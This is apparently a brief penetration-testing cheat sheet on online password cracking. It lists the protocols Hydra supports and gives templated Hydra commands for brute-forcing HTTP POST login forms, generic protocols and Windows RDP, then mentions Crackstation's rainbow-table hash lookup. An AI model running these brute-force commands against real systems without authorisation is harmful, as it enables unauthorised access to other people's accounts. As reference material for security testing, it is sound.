Online Password Cracking Tools

Hydra

Hydra is a brute force online password cracking program; a quick system login password 'hacking' tool.

• Hydra has the ability to bruteforce the following protocols: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Bruteforce HTTP-POST-FORM

hydra -l $userName -P $wordList -t 4 -f -s $port $ip http-post-form "/$loginPath:username=^USER^&password=^PASS^:F=incorrect"

Bruteforce Any Protocol

hydra -P <wordlist> -v <ip> <protocol>

Attack a Windows Remote Desktop

hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>

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Crackstation.net

Crackstation internally use HUGE rainbow tables to provide fast password cracking for hashes without salts. Doing a lookup in a sorted list of hashes is really quite fast, much much faster than trying to crack the hash.